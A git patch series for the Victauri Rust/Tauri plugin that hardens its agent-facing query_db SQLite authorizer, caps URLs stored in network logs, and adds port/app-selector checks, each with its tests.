find_live_servers() @@ -213,8 +214,17 @@ fn resolve_from( servers: &[DiscoveredServer], ) -> Result<(u16, Option), String> { // An explicit port is the caller naming the endpoint: pair it with the explicit token, - // else with the token of the one live entry on exactly that port. + // else with the token of the one live entry on exactly that port. An app selector set as + // well must AGREE with that port's app (R5B-PORTAPP1) — it used to be silently ignored, so + // the client drove whatever app held the port. (The client re-checks `/info` on connect, + // which also covers a port with no discovery entry.) if let Some(port) = explicit_port { + if let (Some(app), Some(entry)) = (app, unique_server_on_port(servers, port)) + && (entry.identifier.is_some() || entry.product_name.is_some()) + && !entry.matches_app(app) + { + return Err(port_app_mismatch(port, &entry.label(), app)); + } let token = explicit_token.or_else(|| unique_token_for_port(servers, port)); return Ok((port, token)); } @@ -267,6 +277,16 @@ fn resolve_from( } } +/// `VICTAURI_PORT` and an app selector name different apps. +pub fn port_app_mismatch(port: u16, found: &str, app: &str) -> String { + format!( + "VICTAURI_PORT={port} is app {}, but the app selector (--app / VICTAURI_APP) is '{}'. \ + Unset one of them, or point VICTAURI_PORT at that app's port.", + crate::terminal::single_line(found), + crate::terminal::single_line(app) + ) +} + /// "Several apps match" — names each as `identifier (port N, pid P)` and how to pick one /// (the same guidance `victauri bridge` gives). fn ambiguity_message<'a>(servers: impl Iterator) -> String { @@ -444,12 +464,11 @@ impl DiscoveredServer { /// case-insensitive, like `victauri bridge --app`) — never a substring, so `com.example` /// can't silently bind `com.example.other`. fn matches_app(&self, app: &str) -> bool { - let is = |field: &Option| { - field - .as_deref() - .is_some_and(|v| v.eq_ignore_ascii_case(app)) - }; - is(&self.identifier) || is(&self.product_name) + identity_matches( + self.identifier.as_deref(), + self.product_name.as_deref(), + app, + ) } /// `identifier (port N, pid P)` — the label `victauri bridge` prints, plus the pid. @@ -471,12 +490,24 @@ fn unique_connection(servers: &[DiscoveredServer]) -> Option<(u16, Option Option { + unique_server_on_port(servers, port)?.token.clone() +} + +/// The ONE live entry advertising `port`; `None` when there is none, or several. +fn unique_server_on_port(servers: &[DiscoveredServer], port: u16) -> Option<&DiscoveredServer> { let mut matching = servers.iter().filter(|server| server.port == port); let server = matching.next()?; if matching.next().is_some() { return None; } - server.token.clone() + Some(server) +} + +/// Whether an app selector names this identity: the bundle identifier or the product name, +/// EXACTLY (ASCII case-insensitive) — the rule discovery, `/info` checks and the CLI bridge share. +pub fn identity_matches(identifier: Option<&str>, product_name: Option<&str>, app: &str) -> bool { + identifier.is_some_and(|v| v.eq_ignore_ascii_case(app)) + || product_name.is_some_and(|v| v.eq_ignore_ascii_case(app)) } fn find_live_servers() -> Vec { @@ -965,6 +996,33 @@ mod tests { assert_eq!(resolve_from(None, None, None, &[]), Ok((7373, None))); } + /// R5B-PORTAPP1: an explicit port and an app selector must agree. + #[test] + fn an_explicit_port_and_a_disagreeing_app_selector_are_refused() { + let servers = vec![ + named(20, 7373, "a", "com.a.app", "A"), + named(21, 7374, "b", "com.b.app", "B"), + ]; + let err = resolve_from(Some(7373), None, Some("com.b.app"), &servers).unwrap_err(); + assert!( + err.contains("VICTAURI_PORT=7373") && err.contains("com.a.app"), + "{err}" + ); + assert!(err.contains("com.b.app"), "{err}"); + // With an explicit token too. + assert!(resolve_from(Some(7373), Some("t".into()), Some("com.b.app"), &servers).is_err()); + // Agreeing (by identifier or product name, any case) is fine. + assert_eq!( + resolve_from(Some(7374), None, Some("b"), &servers), + Ok((7374, Some("b".to_string()))) + ); + // No discovery entry on the port: left to the client's `/info` check. + assert_eq!( + resolve_from(Some(7999), None, Some("com.b.app"), &servers), + Ok((7999, None)) + ); + } + #[test] fn duplicate_identifiers_are_ambiguous_not_first_wins() { let servers = vec![ From 98e0392305c20fee8a4e63ab9fbf07fa8adf0818 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:42:40 +1000 Subject: [PATCH 153/167] fix(plugin): query_db runs only built-in or deterministic SQL functions (R5B-SQLFN1) The query_db authorizer allowed every SQL function, so a side-effecting function the host registers process-wide (sqlite3_auto_extension) ran despite the read-only open. The authorizer now applies a per-connection function policy computed from that connection's pragma_function_list: a name is allowed if every registration under it is built in, registered SQLITE_DETERMINISTIC, or one of SQLite's own extension functions (FTS3/4 snippet/offsets/matchinfo/match, FTS5 bm25/highlight/snippet/..., R-Tree, Geopoly). A non-deterministic app function - including one overriding a built-in name - is refused with an error naming it. load_extension and FTS3's optimize are never allowed. If pragma_function_list is unavailable the policy fails closed to a hard-coded list of SQLite built-ins; a test pins that list against the linked SQLite so a newer SQLite cannot drift. Also fixes a pre-existing break found by the new tests: R-Tree tables were unreadable through query_db (the R-Tree module prepares its shadow-table INSERT/UPDATE/DELETE when it connects, which the authorizer refused). Write preparation is now allowed on the R-Tree/Geopoly shadow tables only; the READ_ONLY open still stops any write from executing. The authorizer is now installed after the schema load, so a locked database fails once (within the 1 s busy timeout) instead of in every policy read. SetupOutcome keeps the install fail-closed across rusqlite 0.32..0.40. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/database.rs | 585 ++++++++++++++++++++++++- 1 file changed, 565 insertions(+), 20 deletions(-) diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index f97c102d..80dafaee 100644 --- a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -361,6 +361,29 @@ enum TableKind { #[cfg(feature = "sqlite")] pub(crate) const DB_HEALTH_META_BUDGET: Duration = Duration::from_secs(3); +/// A hook run on each connection Victauri opens (tests only). +#[cfg(all(test, feature = "sqlite"))] +type OpenHook = Box; + +#[cfg(all(test, feature = "sqlite"))] +thread_local! { + /// Test-only stand-in for what a host process can do to every connection `SQLite` opens + /// (`sqlite3_auto_extension`): register functions or virtual-table modules on it. Run right + /// after each of Victauri's connections is opened. + static ON_OPEN: std::cell::RefCell> = + const { std::cell::RefCell::new(None) }; +} + +#[cfg(feature = "sqlite")] +fn run_open_hook(_conn: &rusqlite::Connection) { + #[cfg(test)] + ON_OPEN.with(|hook| { + if let Some(hook) = hook.borrow().as_ref() { + hook(_conn); + } + }); +} + /// Open a database file Victauri did not create as read-only UNTRUSTED input: with /// `trusted_schema=OFF` (schema-embedded SQL functions / virtual tables cannot run with side /// effects) and `SQLite`'s defensive mode (no writes to shadow tables / schema corruption). @@ -369,6 +392,7 @@ pub(crate) fn open_untrusted_read_only(path: &str) -> Result", + "->>", + "abs", + "acos", + "acosh", + "asin", + "asinh", + "atan", + "atan2", + "atanh", + "avg", + "ceil", + "ceiling", + "changes", + "char", + "coalesce", + "concat", + "concat_ws", + "cos", + "cosh", + "count", + "cume_dist", + "current_date", + "current_time", + "current_timestamp", + "date", + "datetime", + "degrees", + "dense_rank", + "exp", + "first_value", + "floor", + "format", + "glob", + "group_concat", + "hex", + "if", + "ifnull", + "iif", + "instr", + "json", + "json_array", + "json_array_insert", + "json_array_length", + "json_error_position", + "json_extract", + "json_group_array", + "json_group_object", + "json_insert", + "json_object", + "json_patch", + "json_pretty", + "json_quote", + "json_remove", + "json_replace", + "json_set", + "json_type", + "json_valid", + "jsonb", + "jsonb_array", + "jsonb_array_insert", + "jsonb_extract", + "jsonb_group_array", + "jsonb_group_object", + "jsonb_insert", + "jsonb_object", + "jsonb_patch", + "jsonb_remove", + "jsonb_replace", + "jsonb_set", + "julianday", + "lag", + "last_insert_rowid", + "last_value", + "lead", + "length", + "like", + "likelihood", + "likely", + "ln", + "log", + "log10", + "log2", + "lower", + "ltrim", + "max", + "median", + "min", + "mod", + "nth_value", + "ntile", + "nullif", + "octet_length", + "percent_rank", + "percentile", + "percentile_cont", + "percentile_disc", + "pi", + "pow", + "power", + "printf", + "quote", + "radians", + "random", + "randomblob", + "rank", + "replace", + "round", + "row_number", + "rtrim", + "sign", + "sin", + "sinh", + "soundex", + "sqlite_compileoption_get", + "sqlite_compileoption_used", + "sqlite_log", + "sqlite_offset", + "sqlite_source_id", + "sqlite_version", + "sqrt", + "strftime", + "string_agg", + "substr", + "substring", + "subtype", + "sum", + "tan", + "tanh", + "time", + "timediff", + "total", + "total_changes", + "trim", + "trunc", + "typeof", + "unhex", + "unicode", + "unistr", + "unistr_quote", + "unixepoch", + "unlikely", + "upper", + "zeroblob", +]; + +/// Never allowed, even though built in: `load_extension` (disabled by default, but it would +/// load arbitrary code). +#[cfg(feature = "sqlite")] +static DENIED_FUNCTIONS: &[&str] = &["load_extension"]; + +/// What agent-supplied `query_db` SQL may do on one connection, computed from that connection +/// before its authorizer is installed. +#[cfg(feature = "sqlite")] +#[derive(Default)] +struct QueryPolicy { + /// SQL functions that may run (lowercase names). + functions: std::collections::HashSet, + /// Shadow tables of the database's R-Tree / Geopoly virtual tables (lowercase). The R-Tree + /// module prepares its INSERT/UPDATE/DELETE statements when it connects, so preparing a + /// write on them must be allowed for an R-Tree table to be readable at all; the `READ_ONLY` + /// open still stops any write from executing. + rtree_shadow_tables: std::collections::HashSet, + /// The first function refused, for a clear error. + refused_function: std::sync::Mutex>, +} + +#[cfg(feature = "sqlite")] +impl QueryPolicy { + /// The policy for `conn`: `SQLite`'s built-in functions, its own extension functions, and + /// functions registered DETERMINISTIC may run; any other function (an app can register a + /// side-effecting one on every connection with `sqlite3_auto_extension`) is refused. + fn for_connection(conn: &rusqlite::Connection) -> Self { + let mut functions = Self::listed_functions(conn).unwrap_or_else(|e| { + tracing::debug!( + "query_db: pragma_function_list unavailable ({e}); allowing only SQLite's built-in functions" + ); + SQLITE_BUILTIN_FUNCTIONS + .iter() + .chain(SQLITE_EXTENSION_FUNCTIONS) + .map(|f| (*f).to_string()) + .collect() + }); + for denied in DENIED_FUNCTIONS { + functions.remove(*denied); + } + Self { + functions, + rtree_shadow_tables: Self::rtree_shadow_tables(conn), + refused_function: std::sync::Mutex::new(None), + } + } + + /// Functions allowed per the connection's own `pragma_function_list`. A name is allowed only + /// if EVERY registration under it is built in, deterministic, or one of `SQLite`'s own + /// extension functions — a non-deterministic app function that overrides a built-in name is + /// what would actually run, so it taints the name. + fn listed_functions( + conn: &rusqlite::Connection, + ) -> rusqlite::Result> { + let mut verdicts: std::collections::HashMap = + std::collections::HashMap::new(); + let mut stmt = conn.prepare("SELECT name, builtin, flags FROM pragma_function_list")?; + let mut rows = stmt.query([])?; + while let Some(row) = rows.next()? { + let name = row.get::<_, String>(0)?.to_ascii_lowercase(); + let builtin = row.get::<_, Option>(1)?.unwrap_or(0) == 1; + let flags = row.get::<_, Option>(2)?.unwrap_or(0); + let ok = builtin + || flags & SQLITE_DETERMINISTIC_FLAG != 0 + || SQLITE_EXTENSION_FUNCTIONS.contains(&name.as_str()); + let verdict = verdicts.entry(name).or_insert(true); + *verdict = *verdict && ok; + } + Ok(verdicts + .into_iter() + .filter_map(|(name, ok)| ok.then_some(name)) + .collect()) + } + + /// Shadow tables of the R-Tree / Geopoly virtual tables in `main`. Best effort: on any + /// error none are allowed (an R-Tree table is then unreadable, never writable). + fn rtree_shadow_tables(conn: &rusqlite::Connection) -> std::collections::HashSet { + let names = conn + .prepare( + "SELECT name FROM sqlite_master WHERE type = 'table' \ + AND (substr(sql, 1, 512) LIKE 'CREATE VIRTUAL TABLE % USING rtree%' \ + OR substr(sql, 1, 512) LIKE 'CREATE VIRTUAL TABLE % USING geopoly%') \ + LIMIT 1000", + ) + .and_then(|mut stmt| { + stmt.query_map([], |r| r.get::<_, String>(0))? + .collect::>>() + }) + .unwrap_or_default(); + names + .iter() + .flat_map(|name| { + let name = name.to_ascii_lowercase(); + ["_node", "_rowid", "_parent"].map(|suffix| format!("{name}{suffix}")) + }) + .collect() + } + + fn allows_function(&self, name: &str) -> bool { + let lower = name.to_ascii_lowercase(); + if self.functions.contains(&lower) { + return true; + } + let mut refused = self + .refused_function + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner); + if refused.is_none() { + *refused = Some(name.to_string()); + } + false + } + + fn is_rtree_shadow(&self, database: Option<&str>, table: &str) -> bool { + database.is_some_and(|db| db.eq_ignore_ascii_case("main")) + && self + .rtree_shadow_tables + .contains(&table.to_ascii_lowercase()) + } + + /// The function this policy refused, if any (for the error message). + fn refused_function(&self) -> Option { + self.refused_function + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .clone() + } +} + +/// `SQLite` authorizer for agent-supplied `query_db` SQL: default-deny. Reads, recursive CTEs, +/// the functions `policy` allows, and allowlisted read-only PRAGMAs are permitted; everything +/// else (writes, ATTACH, schema changes, transactions, setter PRAGMAs, app-registered +/// non-deterministic functions) is refused before it runs. #[cfg(feature = "sqlite")] -fn query_authorizer(ctx: rusqlite::hooks::AuthContext<'_>) -> rusqlite::hooks::Authorization { +fn query_authorizer( + policy: &QueryPolicy, + ctx: rusqlite::hooks::AuthContext<'_>, +) -> rusqlite::hooks::Authorization { use rusqlite::hooks::{AuthAction, Authorization}; + let allow = |ok: bool| { + if ok { + Authorization::Allow + } else { + Authorization::Deny + } + }; match ctx.action { - AuthAction::Select - | AuthAction::Read { .. } - | AuthAction::Function { .. } - | AuthAction::Recursive => Authorization::Allow, + AuthAction::Select | AuthAction::Read { .. } | AuthAction::Recursive => { + Authorization::Allow + } + AuthAction::Function { function_name } => allow(policy.allows_function(function_name)), + AuthAction::Insert { table_name } + | AuthAction::Update { table_name, .. } + | AuthAction::Delete { table_name } => { + allow(policy.is_rtree_shadow(ctx.database_name, table_name)) + } AuthAction::Pragma { pragma_name, pragma_value, } => { let name = pragma_name.to_ascii_lowercase(); - let allowed = SAFE_PRAGMAS.contains(&name.as_str()) - && (pragma_value.is_none() || READ_PRAGMAS_WITH_ARG.contains(&name.as_str())); - if allowed { - Authorization::Allow - } else { - Authorization::Deny - } + allow( + SAFE_PRAGMAS.contains(&name.as_str()) + && (pragma_value.is_none() || READ_PRAGMAS_WITH_ARG.contains(&name.as_str())), + ) } _ => Authorization::Deny, } @@ -998,6 +1356,7 @@ fn query_with_limits( rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY | rusqlite::OpenFlags::SQLITE_OPEN_NO_MUTEX, ) .map_err(|e| format!("failed to open database: {e}"))?; + run_open_hook(&conn); // The database is untrusted input (see `open_untrusted_read_only`), and the query is // agent-supplied: SQLite's own AUTHORIZER is the enforcement point, not string parsing. // It sees every PRAGMA SQLite is about to run — statement form, `PRAGMA name(arg)`, and @@ -1006,10 +1365,6 @@ fn query_with_limits( .map_err(|e| format!("failed to harden database connection: {e}"))?; conn.set_db_config(rusqlite::config::DbConfig::SQLITE_DBCONFIG_DEFENSIVE, true) .map_err(|e| format!("failed to harden database connection: {e}"))?; - conn.authorizer(Some(query_authorizer)) - .into_setup() - .map_err(|e| format!("failed to harden database connection: {e}"))?; - // Limit lock waits separately from the CPU deadline enforced below. conn.busy_timeout(QUERY_BUSY_TIMEOUT) .map_err(|e| format!("failed to set timeout: {e}"))?; @@ -1060,9 +1415,27 @@ fn query_with_limits( .into_setup() .map_err(|e| format!("failed to harden database connection: {e}"))?; + // The authorizer is installed only now: with the schema loaded (a locked database fails + // once, at the load above, not again in each policy read) and before the agent's SQL is + // prepared. + let policy = Arc::new(QueryPolicy::for_connection(&conn)); + let authorizer_policy = Arc::clone(&policy); + conn.authorizer(Some(move |ctx: rusqlite::hooks::AuthContext<'_>| { + query_authorizer(&authorizer_policy, ctx) + })) + .into_setup() + .map_err(|e| format!("failed to harden database connection: {e}"))?; + let mut stmt = conn .prepare(sql) - .map_err(|e| sqlite_query_error("failed to prepare query", e, query_timeout))?; + .map_err(|e| match policy.refused_function() { + Some(name) => format!( + "failed to prepare query: the SQL function `{name}` is not allowed — query_db runs \ + only SQLite's built-in functions and functions registered as deterministic (an \ + app-registered function could have side effects)" + ), + None => sqlite_query_error("failed to prepare query", e, query_timeout), + })?; let column_names = unique_column_keys(&stmt.column_names()); // `"key":` per column, sized once. @@ -1361,6 +1734,178 @@ mod tests { assert!(query(&path, "SELECT count(*) FROM users", &[], None).is_ok()); } + /// Register a variadic SQL function answering 42 on `conn` (as an app's + /// `sqlite3_auto_extension` would on every connection), through the C API so the test needs + /// no rusqlite feature beyond the plugin's own. + #[allow(unsafe_code)] + fn register_function(conn: &rusqlite::Connection, name: &str, deterministic: bool) { + use rusqlite::ffi; + unsafe extern "C" fn answer( + ctx: *mut ffi::sqlite3_context, + _argc: std::os::raw::c_int, + _argv: *mut *mut ffi::sqlite3_value, + ) { + // SAFETY: `ctx` is the live context SQLite passes to a scalar function. + unsafe { ffi::sqlite3_result_int(ctx, 42) }; + } + let flags = ffi::SQLITE_UTF8 + | if deterministic { + ffi::SQLITE_DETERMINISTIC + } else { + 0 + }; + let name = std::ffi::CString::new(name).unwrap(); + // SAFETY: a valid open connection handle, a NUL-terminated name, and a callback with + // the signature SQLite expects; no user data or destructor. + let rc = unsafe { + ffi::sqlite3_create_function_v2( + conn.handle(), + name.as_ptr(), + -1, + flags, + std::ptr::null_mut(), + Some(answer), + None, + None, + None, + ) + }; + assert_eq!(rc, ffi::SQLITE_OK); + } + + /// Run `f` with `hook` applied to every connection this thread opens. + fn with_open_hook( + hook: impl Fn(&rusqlite::Connection) + 'static, + f: impl FnOnce() -> T, + ) -> T { + struct Reset; + impl Drop for Reset { + fn drop(&mut self) { + ON_OPEN.with(|h| *h.borrow_mut() = None); + } + } + ON_OPEN.with(|h| *h.borrow_mut() = Some(Box::new(hook))); + let _reset = Reset; + f() + } + + /// R5B-SQLFN1: `query_db` allowed every SQL function, so a side-effecting function the host + /// registered process-wide (`sqlite3_auto_extension`) ran despite the read-only open. Only + /// built-in functions and ones registered DETERMINISTIC may run. + #[test] + fn app_registered_non_deterministic_functions_are_refused() { + let (_f, path) = create_test_db(); + with_open_hook( + |c| { + register_function(c, "app_side_effect", false); + register_function(c, "app_pure", true); + // Overriding a built-in with a non-deterministic function runs the override. + register_function(c, "lower", false); + }, + || { + let err = query(&path, "SELECT app_side_effect()", &[], None).unwrap_err(); + assert!(err.contains("app_side_effect"), "{err}"); + let err = query(&path, "SELECT lower('A')", &[], None).unwrap_err(); + assert!(err.contains("lower"), "{err}"); + // Hidden in a CTE it is still refused. + let err = query( + &path, + "WITH x AS (SELECT app_side_effect() AS v) SELECT v FROM x", + &[], + None, + ) + .unwrap_err(); + assert!(err.contains("app_side_effect"), "{err}"); + let r = query(&path, "SELECT app_pure() AS v", &[], None).unwrap(); + assert_eq!(r["rows"][0]["v"], 42); + assert!(query(&path, "SELECT upper('a'), abs(-1)", &[], None).is_ok()); + }, + ); + } + + /// The function policy must not break `SQLite`'s own functions: core scalar / aggregate / + /// window, date/time, JSON, and the FTS3/4, FTS5 and R-Tree extension functions (which + /// `SQLite` registers as non-built-in overloads). + #[test] + fn builtin_and_extension_functions_still_work() { + let (_f, path) = create_test_db(); + let conn = rusqlite::Connection::open(&path).unwrap(); + let fts = conn + .execute_batch( + "CREATE VIRTUAL TABLE f5 USING fts5(body); INSERT INTO f5 VALUES ('hello world'); + CREATE VIRTUAL TABLE f4 USING fts4(body); INSERT INTO f4 VALUES ('hello there');", + ) + .is_ok(); + let rtree = conn + .execute_batch( + "CREATE VIRTUAL TABLE r USING rtree(id, x0, x1); INSERT INTO r VALUES (1, 0, 5);", + ) + .is_ok(); + drop(conn); + let mut sqls = vec![ + "SELECT abs(-1), lower('A'), upper('a'), length('x'), substr('abc', 2), \ + coalesce(NULL, 1), printf('%d', 5), hex('a'), typeof(1), round(1.5), \ + replace('a', 'a', 'b'), instr('ab', 'b'), trim(' a '), random() IS NOT NULL", + "SELECT count(*), sum(score), avg(score), max(score), min(score), \ + group_concat(name) FROM users", + "SELECT name, row_number() OVER (ORDER BY score), rank() OVER (ORDER BY score), \ + lag(name) OVER (ORDER BY id) FROM users", + "SELECT date('now'), datetime('now'), julianday('now'), strftime('%Y', 'now'), \ + unixepoch('now')", + "SELECT json_extract('{\"a\":1}', '$.a'), json_object('a', 1), json_array(1, 2), \ + '{\"a\":1}' -> '$.a', '{\"a\":1}' ->> '$.a'", + "SELECT * FROM json_each('[1,2]')", + ]; + if fts { + sqls.push( + "SELECT bm25(f5), highlight(f5, 0, '[', ']'), snippet(f5, 0, '[', ']', '..', 5) \ + FROM f5 WHERE f5 MATCH 'hello'", + ); + sqls.push( + "SELECT snippet(f4), offsets(f4), matchinfo(f4) FROM f4 WHERE f4 MATCH 'hello'", + ); + } + if rtree { + sqls.push("SELECT id FROM r WHERE x0 >= 0 AND x1 <= 10"); + } + for sql in sqls { + let r = query(&path, sql, &[], None); + assert!(r.is_ok(), "{sql}: {r:?}"); + } + // Still refused: loading an extension. + assert!(query(&path, "SELECT load_extension('x')", &[], None).is_err()); + } + + /// The fail-closed fallback list (used when a connection cannot report its functions) must + /// cover every function this `SQLite` reports as built in, and every non-built-in function + /// `SQLite`'s own extensions register must be known — so a newer `SQLite` that adds one fails + /// this test instead of silently refusing it in `query_db`. + #[test] + fn fallback_function_lists_cover_this_sqlite() { + let conn = rusqlite::Connection::open_in_memory().unwrap(); + let mut stmt = conn + .prepare("SELECT DISTINCT name, builtin FROM pragma_function_list") + .unwrap(); + let rows: Vec<(String, i64)> = stmt + .query_map([], |r| Ok((r.get(0)?, r.get(1)?))) + .unwrap() + .collect::>() + .unwrap(); + assert!(rows.len() > 50, "{rows:?}"); + let known_non_builtin = ["fts3_tokenizer", "optimize"]; + for (name, builtin) in rows { + let known = if DENIED_FUNCTIONS.contains(&name.as_str()) { + true + } else if builtin == 1 { + SQLITE_BUILTIN_FUNCTIONS.contains(&name.as_str()) + } else { + SQLITE_EXTENSION_FUNCTIONS.contains(&name.as_str()) + || known_non_builtin.contains(&name.as_str()) + }; + assert!(known, "function `{name}` (builtin={builtin}) is not listed"); + } + } + #[test] fn db_health_counts_hundreds_of_tables_within_budget() { // Each count used to cost a fixed ~25ms (the interrupt watchdog's sleep step, joined From 0a22b454e8a16b23ef4692dd8b40b3c9278c1d41 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:47:09 +1000 Subject: [PATCH 154/167] fix(bridge): cap URLs stored in the network and route-match logs (R5B-DATAURL1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The network log (up to 1000 entries) kept every request URL verbatim, so an app that fetches large data: URLs pinned 1000 x their size: a jsdom PoC of 1000 fetches of a 1 MB data: URL retained 1,048,596,000 URL chars (~1 GB+); now 2,065,000. A logged URL longer than 2048 chars is cut (surrogate-safe, truncText) with a `…[+N chars]` marker; IPC URLs are never cut, and route matching still sees the full URL. Route matching also no longer resolves opaque (data:/blob:/javascript:/about:) or >8 KB URLs through the URL parser, which only cost time. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 21 ++++++- .../victauri-plugin/tests/bridge_r5b_tests.rs | 56 +++++++++++++++++++ 2 files changed, 74 insertions(+), 3 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index be9ed4b3..29c5c641 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -289,6 +289,16 @@ const INIT_SCRIPT_BODY: &str = r#" return null; } function isIpcUrl(url) { return ipcCommandPath(url) !== null; } + // The URL as stored in the network / route-match logs (R5B-DATAURL1). A log holds up to + // CAP_NETWORK entries, so keeping every URL verbatim let an app that fetches large `data:` / + // `blob:`-sized URLs pin CAP_NETWORK × their size (1000 × 1 MB = 1 GB). A longer URL is cut + // with a length marker; matching and IPC parsing always see the full URL. + var MAX_LOGGED_URL = 2048; + function loggedUrl(url) { + if (typeof url !== 'string' || url.length <= MAX_LOGGED_URL || isIpcUrl(url)) return url; + var head = truncText(url, MAX_LOGGED_URL); + return head + '…[+' + (url.length - head.length) + ' chars]'; + } // Victauri's own IPC (plugin:victauri|*). Decided from the parsed IPC command path — NOT a // substring anywhere in the URL, which let any page request containing // "plugin%3Avictauri%7C" in a query string escape route rules and network logging. @@ -359,9 +369,14 @@ const INIT_SCRIPT_BODY: &str = r#" // other. A rule is tested against: the absolute URL (resolved against the document base URL, // as fetch/XHR resolve it), the path + query + fragment when same-origin, and the string as // the app passed it. The URL built-ins are the ones captured at init. + // Resolution is skipped for schemes that have no relative or same-origin spelling (a large + // data: URL is common, and parsing it for nothing is pure cost) and for very long URLs. + var ROUTE_RESOLVE_MAX = 8192; + var OPAQUE_URL_RE = /^\s*(data|blob|javascript|about):/i; function routeUrlForms(url) { var forms = [url]; if (!URL_CTOR || !URL_HREF_GET) return forms; + if (url.length > ROUTE_RESOLVE_MAX || OPAQUE_URL_RE.test(url)) return forms; try { var base = BASE_URI_GET ? REFLECT_APPLY(BASE_URI_GET, document, []) : window.location.href; var u = new URL_CTOR(url, base); @@ -407,7 +422,7 @@ const INIT_SCRIPT_BODY: &str = r#" function recordRouteMatch(rule, url, method) { rule.triggered = (rule.triggered || 0) + 1; routeMatchLog.push({ - rule_id: rule.id, action: rule.action, url: url, + rule_id: rule.id, action: rule.action, url: loggedUrl(url), method: (method || 'GET').toUpperCase(), timestamp: Date.now(), trigger_count: rule.triggered, }); @@ -2876,7 +2891,7 @@ const INIT_SCRIPT_BODY: &str = r#" var id = ++networkCounter; var isIpc = isIpcUrl(url); var isVictauriInternal = isVictauriInternalUrl(url); - var entry = { id: id, method: method.toUpperCase(), url: url, timestamp: Date.now(), status: 'pending', duration_ms: null }; + var entry = { id: id, method: method.toUpperCase(), url: loggedUrl(url), timestamp: Date.now(), status: 'pending', duration_ms: null }; if (isIpc && !isVictauriInternal) { var reqBody = init ? init.body : null; @@ -3121,7 +3136,7 @@ const INIT_SCRIPT_BODY: &str = r#" var entry = { id: ++networkCounter, method: net.method.toUpperCase(), - url: net.url, + url: loggedUrl(net.url), timestamp: Date.now(), status: 'pending', duration_ms: null, diff --git a/crates/victauri-plugin/tests/bridge_r5b_tests.rs b/crates/victauri-plugin/tests/bridge_r5b_tests.rs index 3f6bb02f..59e91996 100644 --- a/crates/victauri-plugin/tests/bridge_r5b_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5b_tests.rs @@ -484,3 +484,59 @@ fn r5b_fetch0_fetch_without_arguments_rejects_natively() { ); assert_eq!(r["urls"], serde_json::json!(["/r5b/one"]), "{r}"); } + +// ── R5B-DATAURL1: logged URLs are bounded ──────────────────────────────────── + +/// The network log kept every request URL verbatim, so an app loading large `data:` URLs +/// through fetch/XHR pinned up to 1000 × the URL size (1000 × 1 MB = 1 GB) in the log. Logged +/// URLs are now capped with a length marker; route matching still sees the full URL. +#[test] +fn r5b_dataurl1_logged_urls_are_capped() { + let def = def( + None, + vec![case( + "1000 fetches of a 1 MB data: URL + an XHR; a route still matches the tail", + r" + var V = window.__VICTAURI__; + var big = 'data:text/plain,' + 'A'.repeat(1024 * 1024) + 'TAIL'; + V.addRoute({ pattern: 'TAIL', action: 'block' }); + var blocked = 0; + var ps = []; + for (var i = 0; i < 1000; i++) { + ps.push(fetch(big).then(function() {}, function(e) { + if (/blocked by route/.test(e.message)) blocked++; + })); + } + await Promise.all(ps); + V._agent; // (no-op: keep the log) + var x = new XMLHttpRequest(); + x.open('GET', 'data:text/plain,' + 'B'.repeat(200000)); + await new Promise(function(r) { x.addEventListener('loadend', r); x.send(); }); + var log = V.getNetworkLog(null, 2000); + var lens = log.map(function(e) { return e.url.length; }); + var total = lens.reduce(function(a, b) { return a + b; }, 0); + return { + count: log.length, max_len: Math.max.apply(null, lens), total: total, + sample: log[0].url.slice(-40), xhr_tail: log[log.length - 1].url.slice(-40), + blocked: blocked, + matches_url_len: V.getRouteMatches(1)[0].url.length, + }; + ", + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + assert_eq!(r["count"], 1000, "{r}"); + assert!(r["max_len"].as_u64().unwrap() <= 2200, "{r}"); + assert!(r["total"].as_u64().unwrap() <= 1000 * 2200, "{r}"); + assert!( + r["sample"].as_str().unwrap().contains("chars]"), + "the cut is marked: {r}" + ); + assert!(r["xhr_tail"].as_str().unwrap().contains("chars]"), "{r}"); + assert_eq!(r["blocked"], 1000, "matching still sees the full URL: {r}"); + assert!(r["matches_url_len"].as_u64().unwrap() <= 2200, "{r}"); +} From d878e9738d268f55c3b2307bb1bb0da355897cbe Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:55:53 +1000 Subject: [PATCH 155/167] fix(plugin): db_health never runs host-registered virtual-table module code (R5B-QC1) On SQLite >= 3.44 a whole-database PRAGMA quick_check connects every virtual table whose module is registered and runs the module's integrity routine - module code, including a module the host registered process-wide (an auto-extension, e.g. a vector-search extension). Verified: with such a module registered and a virtual table using it in the file, db_health ran its constructor ("vtable constructor failed"). db_health now lists the connection's modules (pragma_module_list). If the file has (or may have) virtual tables and a non-built-in module is registered - or the list is unavailable - it runs PRAGMA quick_check() per ordinary table instead, which connects no virtual table, and reports integrity_check_kind "quick_check (per table)" with the reason in the new integrity_check_note field (virtual tables and the free list are then not checked). Otherwise the whole database is still checked, SQLite's own FTS/R-Tree tables included; a vtab whose module is not loaded is not connected. Budgets are unchanged (the per-table pass shares the check budget). New integrity_check_note is null in the whole-database case. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/database.rs | 318 +++++++++++++++++++++++-- 1 file changed, 299 insertions(+), 19 deletions(-) diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index 80dafaee..cd8cf418 100644 --- 